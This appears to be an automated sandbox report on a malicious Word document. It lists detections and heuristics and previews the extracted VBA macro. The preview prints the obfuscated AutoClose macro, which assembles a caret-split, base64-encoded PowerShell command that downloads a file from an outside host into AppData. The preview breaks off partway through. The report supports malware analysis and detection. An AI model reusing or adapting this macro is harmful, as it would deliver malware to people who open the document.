MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Office document containing a legacy WordBasic AutoClose macro. This macro is designed to execute arbitrary code upon closing the document, a common technique for initial payload delivery. The ClamAV detection 'Doc.Malware.Pwshell-6700199-0' further supports its malicious nature.
Heuristics 5
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ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 23044 bytes |
SHA-256: ec892b154d541b6535de248893427dda7199dfdb81ee5f25edf1d94f1c736dd8 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const SEbebdygafOrUqEQASkIlIZUtaauwu = 0 Sub AutoClose() On Error Resume Next Dim pABObEgSymEKaMEHyfaxEKapumUqeL(3) pABObEgSymEKaMEHyfaxEKapumUqeL(0) = Right(RegesipOXyaYWdOmUdIs, 1029) pABObEgSymEKaMEHyfaxEKapumUqeL(1) = Sqr(2) pABObEgSymEKaMEHyfaxEKapumUqeL(2) = Left(RegesipOXyaYWdOmUdIs, 1029) Dim MYVAmejaiIiYKISOVyKofEbyTyNyiiWogyw(3) MYVAmejaiIiYKISOVyKofEbyTyNyiiWogyw(0) = Right(SIauqUZinAXEjA, 7007) MYVAmejaiIiYKISOVyKofEbyTyNyiiWogyw(1) = Sqr(5) MYVAmejaiIiYKISOVyKofEbyTyNyiiWogyw(2) = Left(SIauqUZinAXEjA, 7007) Dim aoHIfElAOMevOZutEQasEviQaQIVUxAdj(3) Dim syWeaoGAsEzeqnnsOzYXEauseHeFy(3) syWeaoGAsEzeqnnsOzYXEauseHeFy(0) = Right(KuboHYVYGegUHAPnuHeLApY, 4228) syWeaoGAsEzeqnnsOzYXEauseHeFy(1) = Sqr(7) syWeaoGAsEzeqnnsOzYXEauseHeFy(2) = Left(KuboHYVYGegUHAPnuHeLApY, 4228) aoHIfElAOMevOZutEQasEviQaQIVUxAdj(0) = Right(BOlUvIsUaOiAzedYBILoZaDI, 1948) Dim XyjEsiNUfYFoNPujIkoDaqYp(3) XyjEsiNUfYFoNPujIkoDaqYp(0) = Right(rIdEqiiEFatAPuT, 5547) XyjEsiNUfYFoNPujIkoDaqYp(1) = Sqr(4) XyjEsiNUfYFoNPujIkoDaqYp(2) = Left(rIdEqiiEFatAPuT, 5547) Dim wlYiOGOTOFaagEvIdycadUMiXYraaWu(3) wlYiOGOTOFaagEvIdycadUMiXYraaWu(0) = Right(roNuTYFOxigOxiw, 6248) wlYiOGOTOFaagEvIdycadUMiXYraaWu(1) = Sqr(4) wlYiOGOTOFaagEvIdycadUMiXYraaWu(2) = Left(roNuTYFOxigOxiw, 6248) aoHIfElAOMevOZutEQasEviQaQIVUxAdj(1) = Sqr(1) aoHIfElAOMevOZutEQasEviQaQIVUxAdj(2) = Left(BOlUvIsUaOiAzedYBILoZaDI, 1948) Dim ZozyJaWOuhIiOsECgyhyXuSemit(3) ZozyJaWOuhIiOsECgyhyXuSemit(0) = Right(WUauFuHeTAiYRyPYlY, 7551) ZozyJaWOuhIiOsECgyhyXuSemit(1) = Sqr(3) ZozyJaWOuhIiOsECgyhyXuSemit(2) = Left(WUauFuHeTAiYRyPYlY, 7551) PtoHItuBiTJqiKidICiF = "d.exe /" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + " p^O^w^e^R^s^H^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^A^6^A^C^8^A^L^w^B^s^A^G^U^A^b^w^B^w^A^G^E^A^Z^A" Dim fIsamYhpegkIFYXijOcUQAafyhysydjEBa(3) Dim JikeLYToaIHAQagiWIcElnuiZAfyjiG(3) JikeLYToaIHAQagiWIcElnuiZAfyjiG(0) = Right(cIsEjyHiDELakiFaH, 7312) JikeLYToaIHAQagiWIcElnuiZAfyjiG(1) = Sqr(7) JikeLYToaIHAQagiWIcElnuiZAfyjiG(2) = Left(cIsEjyHiDELakiFaH, 7312) fIsamYhpegkIFYXijOcUQAafyhysydjEBa(0) = Right(QANOSGYsis, 4944) fIsamYhpegkIFYXijOcUQAafyhysydjEBa(1) = Sqr(6) fIsamYhpegkIFYXijOcUQAafyhysydjEBa(2) = Left(QANOSGYsis, 4944) SiPONoRYdymYFtIBUGeHOtOPuZapIKOTe = "^B^4^A^G^E^A^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^A^u^A^G^M^A^b^w^B^t^A^C^8^A^R^A^B^B^A^E^I^A^L^w^B^u^A^G^U^A^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^g^B^p^A^G^0^A^Z^g^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^H^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^a^Q^B^s^A^G^w^A^b^w^B^3^A^D^I^A^L^g^B^w^A^G^E^A^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^w^A^i^A^C^w^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^g^A^C^s^A^I^A^A^n^A^F^w^A^M^Q^A^x^A^D^A^A^N^g^A^5^A^D^E^A^M^g^A^w^A^D^g^A^M^g^A^x^A^D^E^A^N^Q^A" Dim VEZoBiFAMUDOcImaTIWOJeZOJeJexylujUq(3) VEZoBiFAMUDOcImaTIWOJeZOJeJexylujUq(0) = Right(FATicarulukiboVINomGUq, 8311) VEZoBiFAMUDOcImaTIWOJeZOJeJexylujUq(1) = Sqr(3) VEZoBiFAMUDOcImaTIWOJeZOJeJexylujUq(2) = Left(FATicarulukiboVINomGUq, 8311) Dim cIDYpyCEVAREmApevLuDIboNUVabBojuV(3) Dim jOmerIHOrEMJOKFoNALPoGefo(3) jOmerIHOrEMJOKFoNALPoGefo(0) = Right(qyfYNEwiKUfivEXIKEgyWU, 110) jOmerIHOrEMJOKFoNALPoGefo(1) = Sqr(4) jOmerIHOrEMJOKFoNALPoGefo(2) = Left(qyfYNEwiKUfivEXIKEgyWU, 110) Dim ZuJetehazysoTeLRibNumABetoiIJofeayP(3) ZuJetehazysoTeLRibNumABetoiIJofeayP(0) = Ri ... (truncated) |
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